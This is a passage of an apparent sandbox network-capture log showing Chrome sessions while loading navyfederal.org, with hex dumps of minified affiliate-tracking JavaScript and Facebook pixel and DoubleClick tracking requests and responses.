e=o.H(o.G()),r=r.Y(null,e.W);if(r&&u(e.V[r.gp])&&!u(e.V[r.gc\|\|"irclickid"]))return n(i("No gatewayClickId found for a gatewayClick event",{domain:e.K,cid:r.id,td:o.Z(r)}));n()}},7786:function(n){n.exports=function(n,t){return
2024-05-24 22:45:58 UTC	1390	IN	Data Raw: 6f 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 20 75 28 29 3b 65 2e 66 6e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 74 3d 6f 2e 6c 65 6e 67 74 68 3b 6e 3c 74 3b 2b 2b 6e 29 7b 76 61 72 20 72 3d 6f 5b 6e 5d 3b 69 66 28 72 2e 75 26 26 61 2e 67 2e 73 6e 2e 64 6e 28 72 2e 75 2c 6e 75 6c 6c 2c 7b 74 61 67 3a 22 69 66 22 3d 3d 3d 72 2e 74 3f 22 69 66 72 61 6d 65 22 3a 22 69 6d 61 67 65 22 7d 2c 75 29 2c 21 72 2e 63 29 72 65 74 75 72 6e 20 75 28 29 3b 76 61 72 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 66 72 61 6d 65 22 29 2c 65 3d 28 65 2e 69 64 3d 22 69 6d 70 61 63 74 50 6f 73 74 62 61 63 6b 46 72 61 6d 65 22 2b 6e 2c 65 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 28 65 2e 63 6f 6e Data Ascii: o.length)return u();e.fn(function(){for(var n=0,t=o.length;n<t;++n){var r=o[n];if(r.u&&a.g.sn.dn(r.u,null,{tag:"if"===r.t?"iframe":"image"},u),!r.c)return u();var e=document.createElement("iframe"),e=(e.id="impactPostbackFrame"+n,e.contentDocument\|\|(e.con
2024-05-24 22:45:58 UTC	1324	IN	Data Raw: 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 72 29 7c 7c 6e 5b 72 5d 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 7c 7c 2d 31 3c 69 2e 78 6e 28 74 2c 72 29 7c 7c 65 2e 70 75 73 68 28 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 72 29 2b 22 3d 22 2b 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 6e 5b 72 5d 29 29 3b 72 65 74 75 72 6e 20 65 7d 3b 6e 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 2c 72 2c 65 29 7b 76 61 72 20 69 3d 65 5b 30 5d 7c 7c 7b 7d 2c 65 3d 65 5b 31 5d 7c 7c 7b 7d 2c 6f 3d 72 2e 59 28 69 2e 63 61 6d 70 61 69 67 6e 49 64 7c 7c 72 2e 49 6e 28 29 29 7c 7c 7b 7d 2c 6f 3d 66 28 7b 6f 72 67 3a 69 2e 6f 72 67 49 64 7c 7c 6f 2e 66 71 7c 7c 22 6e 6f 74 5f 73 65 74 22 2c 72 74 3a 69 2e 72 65 71 75 65 73 74 54 79 70 65 7c Data Ascii: sOwnProperty(r)\|\|n[r]===undefined\|\|-1<i.xn(t,r)\|\|e.push(encodeURIComponent(r)+"="+encodeURIComponent(n[r]));return e};n.exports=function(n,t,r,e){var i=e[0]\|\|{},e=e[1]\|\|{},o=r.Y(i.campaignId\|\|r.In())\|\|{},o=f({org:i.orgId\|\|o.fq\|\|"not_set",rt:i.requestType\|
2024-05-24 22:45:58 UTC	1390	IN	Data Raw: 35 30 30 30 0d 0a 22 3a 7b 70 3a 5b 22 61 64 63 61 6d 70 61 69 67 6e 22 5d 7d 7d 2c 75 74 6d 5f 63 6f 6e 74 65 6e 74 3a 7b 22 64 65 66 61 75 6c 74 22 3a 7b 70 3a 5b 22 61 64 74 79 70 65 22 5d 7d 7d 2c 75 74 6d 5f 74 65 72 6d 3a 7b 22 64 65 66 61 75 6c 74 22 3a 7b 70 3a 5b 22 6b 77 22 5d 7d 7d 7d 2c 6e 7d 3b 6e 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 75 29 7b 76 61 72 20 61 3d 28 75 3d 75 7c 7c 5b 5d 29 2e 6c 65 6e 67 74 68 3b 72 65 74 75 72 6e 7b 41 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 75 7d 2c 54 6e 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 72 3d 30 3b 72 3c 61 3b 2b 2b 72 29 6e 28 75 5b 72 5d 29 26 26 74 2e 70 75 73 68 28 75 5b 72 5d 29 3b 72 65 74 75 72 6e 20 74 7d 2c 52 6e 3a 66 Data Ascii: 5000":{p:["adcampaign"]}},utm_content:{"default":{p:["adtype"]}},utm_term:{"default":{p:["kw"]}}},n};n.exports=function(u){var a=(u=u\|\|[]).length;return{An:function(){return u},Tn:function(n){for(var t=[],r=0;r<a;++r)n(u[r])&&t.push(u[r]);return t},Rn:f
2024-05-24 22:45:58 UTC	1390	IN	Data Raw: 74 75 72 6e 7b 46 6e 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 72 2c 74 2c 65 2c 69 29 7b 69 66 28 21 77 5b 6e 5d 7c 7c 21 78 5b 72 5d 29 72 65 74 75 72 6e 20 69 28 24 28 22 55 6e 73 75 70 70 6f 72 74 65 64 20 63 6f 6e 73 65 6e 74 20 63 6f 6d 6d 61 6e 64 22 2c 7b 7a 31 65 3a 6e 2c 63 6f 6e 73 65 6e 74 53 74 61 74 75 73 3a 72 7d 29 29 3b 65 3d 75 2e 42 6e 28 65 2e 63 6c 69 63 6b 49 64 2c 65 29 3f 5b 65 5d 3a 5b 5d 3b 6e 3d 3d 3d 6c 2e 58 6e 7c 7c 72 3d 3d 3d 76 2e 48 6e 3f 65 3d 75 2e 47 6e 28 29 3a 72 3d 76 2e 51 6e 2c 73 28 74 2c 7b 63 6f 6e 73 65 6e 74 53 74 61 74 75 73 3a 72 2c 66 70 63 3a 6f 2e 79 6e 28 72 3d 3d 3d 76 2e 48 6e 29 7c 7c 6e 75 6c 6c 2c 65 76 65 6e 74 73 3a 65 7d 2c 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 64 28 72 2c 74 2e 66 70 63 29 3b 74 Data Ascii: turn{Fn:function(n,r,t,e,i){if(!w[n]\|\|!x[r])return i($("Unsupported consent command",{z1e:n,consentStatus:r}));e=u.Bn(e.clickId,e)?[e]:[];n===l.Xn\|\|r===v.Hn?e=u.Gn():r=v.Qn,s(t,{consentStatus:r,fpc:o.yn(r===v.Hn)\|\|null,events:e},function(n,t){d(r,t.fpc);t
2024-05-24 22:45:58 UTC	1390	IN	Data Raw: 28 6e 29 7b 76 61 72 20 74 3d 64 28 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 63 6c 69 63 6b 49 64 3d 3d 3d 6e 7d 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 24 2e 74 65 73 74 28 6e 29 7d 3b 72 65 74 75 72 6e 7b 42 6e 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 76 61 72 20 72 3d 63 28 29 3b 72 65 74 75 72 6e 21 28 21 6e 7c 7c 72 5b 6e 5d 7c 7c 73 28 6e 29 7c 7c 21 6c 28 6e 29 7c 7c 28 72 5b 6e 5d 3d 74 2c 79 2e 73 65 74 49 74 65 6d 28 75 2c 76 2e 42 28 72 29 29 2c 66 28 29 2c 30 29 29 7d 2c 59 6e 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 66 6f 72 28 76 61 72 20 74 3d 63 28 29 2c 72 3d 30 2c 65 3d 6e 2e 6c 65 6e 67 74 68 3b 72 3c 65 3b 2b 2b 72 29 74 5b 6e 5b 72 5d 5d 3d 6e 75 6c 6c 3b 79 2e 73 65 74 49 74 65 6d 28 75 2c 76 2e 42 28 70 Data Ascii: (n){var t=d();return t&&t.clickId===n},l=function(n){return $.test(n)};return{Bn:function(n,t){var r=c();return!(!n\|\|r[n]\|\|s(n)\|\|!l(n)\|\|(r[n]=t,y.setItem(u,v.B(r)),f(),0))},Yn:function(n){for(var t=c(),r=0,e=n.length;r<e;++r)t[n[r]]=null;y.setItem(u,v.B(p
2024-05-24 22:45:58 UTC	1390	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 72 2c 65 2c 74 29 7b 74 3d 2b 74 3b 76 61 72 20 69 3d 6e 75 6c 6c 2c 6f 3d 21 31 2c 75 3d 53 74 72 69 6e 67 28 72 2e 74 74 28 65 29 7c 7c 22 22 29 2e 73 70 6c 69 74 28 22 7c 22 29 2c 73 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 21 30 3d 3d 3d 6e 7c 7c 21 31 21 3d 3d 69 7c 7c 6f 3f 75 5b 30 5d 3a 6e 75 6c 6c 7d 2c 61 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 63 28 73 28 29 7c 7c 6e 7c 7c 76 28 29 29 7d 2c 63 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 75 3d 5b 6e 2c 74 2b 64 5d 2c 21 6f 26 26 21 31 3d 3d 3d 69 7c 7c 72 2e 6e 74 28 65 2c 5b 6e 2c 74 5d 2e 6a 6f 69 6e 28 22 7c 22 29 2c 6c 29 7d 3b 72 65 74 75 72 6e 7b 75 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 6e 3d 22 61 62 63 64 65 66 67 68 69 6a 6b 6c Data Ascii: unction(r,e,t){t=+t;var i=null,o=!1,u=String(r.tt(e)\|\|"").split("\|"),s=function(n){return!0===n\|\|!1!==i\|\|o?u[0]:null},a=function(n){c(s()\|\|n\|\|v())},c=function(n){u=[n,t+d],!o&&!1===i\|\|r.nt(e,[n,t].join("\|"),l)};return{ut:function(){for(var n="abcdefghijkl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49847	157.240.0.35	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:45:58 UTC	841	OUT	GET /tr/?id=125275241484882&ev=PageView&dl=https%3A%2F%2Fwww.navyfederal.org%2F&rl=&if=false&ts=1716590756256&sw=1280&sh=1024&v=2.9.156&r=stable&ec=0&o=4126&fbp=fb.1.1716590756253.2112400685&cs_est=true&ler=empty&cdl=API_unavailable&it=1716590754132&coo=false&rqm=GET HTTP/1.1 Host: www.facebook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:45:58 UTC	464	IN	HTTP/1.1 200 OK Content-Type: text/plain Access-Control-Allow-Origin: Access-Control-Allow-Credentials: true Strict-Transport-Security: max-age=31536000; includeSubDomains cross-origin-resource-policy: cross-origin Server: proxygen-bolt X-FB-Connection-Quality: GOOD; q=0.7, rtt=91, rtx=0, c=10, mss=1392, tbw=3404, tp=-1, tpl=-1, uplat=0, ullat=0 Alt-Svc: h3=":443"; ma=86400 Date: Fri, 24 May 2024 22:45:58 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	49853	216.58.212.130	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:45:58 UTC	1165	OUT	GET /td/fls/rul/activityi;fledge=1;src=9749892;type=gener0;cat=nfcu_0;ord=8505920471743;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=843276876;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F? HTTP/1.1 Host: td.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:45:58 UTC	795	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:45:58 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Server: cafe X-XSS-Protection: 0 Set-Cookie: test_cookie=CheckForPermission; expires=Fri, 24-May-2024 23:00:58 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-05-24 22:45:58 UTC	18	IN	Data Raw: 64 0d 0a 3c 68 74 6d 6c 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: d<html></html>
2024-05-24 22:45:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	49852	216.58.212.130	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:45:58 UTC	1176	OUT	GET /td/fls/rul/activityi;fledge=1;src=2992003;type=nfcuf0;cat=nfcuh0;ord=8832101066273;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=932176874;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0v9185367349za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F? HTTP/1.1 Host: td.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:45:58 UTC	795	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:45:58 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Server: cafe X-XSS-Protection: 0 Set-Cookie: test_cookie=CheckForPermission; expires=Fri, 24-May-2024 23:00:58 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-05-24 22:45:58 UTC	18	IN	Data Raw: 64 0d 0a 3c 68 74 6d 6c 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: d<html></html>
2024-05-24 22:45:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	49846	157.240.0.35	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:45:58 UTC	951	OUT	GET /privacy_sandbox/pixel/register/trigger/?id=125275241484882&ev=PageView&dl=https%3A%2F%2Fwww.navyfederal.org%2F&rl=&if=false&ts=1716590756256&sw=1280&sh=1024&v=2.9.156&r=stable&ec=0&o=4126&fbp=fb.1.1716590756253.2112400685&cs_est=true&ler=empty&cdl=API_unavailable&it=1716590754132&coo=false&rqm=FGET HTTP/1.1 Host: www.facebook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Attribution-Reporting-Eligible: trigger=navigation-source, event-source Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:45:58 UTC	1213	IN	HTTP/1.1 200 OK Vary: Accept-Encoding Content-Type: image/png attribution-reporting-register-trigger: {"event_trigger_data":[{"trigger_data":"0"}],"aggregatable_trigger_data":[{"key_piece":"0xb5e83eb98ec6ef14","source_keys":["1","2"]},{"key_piece":"0x0ceacad5477edfa0","source_keys":["1","2"]}],"aggregatable_values":{"1":1}} reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-05-24 22:45:58 UTC	1144	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 74 79 6c 65 2d 73 72 63 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 64 61 74 61 3a 20 2a 2e 66 61 63 65 62 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net 'unsafe-inline' blob: data: 'self' 'unsafe-eval';style-src .fbcdn.net data: *.faceb
2024-05-24 22:45:58 UTC	1786	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 61 74 74 65 72 79 3d 28 73 65 6c 66 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 64 70 72 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), battery=(self), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewpo
2024-05-24 22:45:58 UTC	78	IN	Data Raw: 34 33 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 04 00 00 00 b5 1c 0c 02 00 00 00 0a 49 44 41 54 78 9c 63 00 01 00 00 05 00 01 0d 0a 2d b4 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a 30 0d 0a 0d 0a Data Ascii: 43PNGIHDRIDATxc-IENDB`0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	49856	142.250.185.166	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:45:58 UTC	1154	OUT	GET /activityi;src=9749892;type=gener0;cat=nfcu_0;ord=8505920471743;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=843276876;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F? HTTP/1.1 Host: 9749892.fls.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:45:58 UTC	1141	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:45:58 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Follow-Only-When-Prerender-Shown: 1 Strict-Transport-Security: max-age=21600 Location: https://9749892.fls.doubleclick.net/activityi;dc_pre=CPmT-vKup4YDFd50QQIdxWULrA;src=9749892;type=gener0;cat=nfcu_0;ord=8505920471743;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=843276876;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F? Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Server: cafe Content-Length: 0 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	49854	216.58.212.130	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:45:58 UTC	1167	OUT	GET /td/fls/rul/activityi;fledge=1;src=9749892;type=gener0;cat=nfcu_000;ord=6213689762165;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=893322139;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F? HTTP/1.1 Host: td.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:45:58 UTC	795	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:45:58 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Server: cafe X-XSS-Protection: 0 Set-Cookie: test_cookie=CheckForPermission; expires=Fri, 24-May-2024 23:00:58 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-05-24 22:45:58 UTC	18	IN	Data Raw: 64 0d 0a 3c 68 74 6d 6c 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: d<html></html>
2024-05-24 22:45:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	49857	142.250.185.166	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

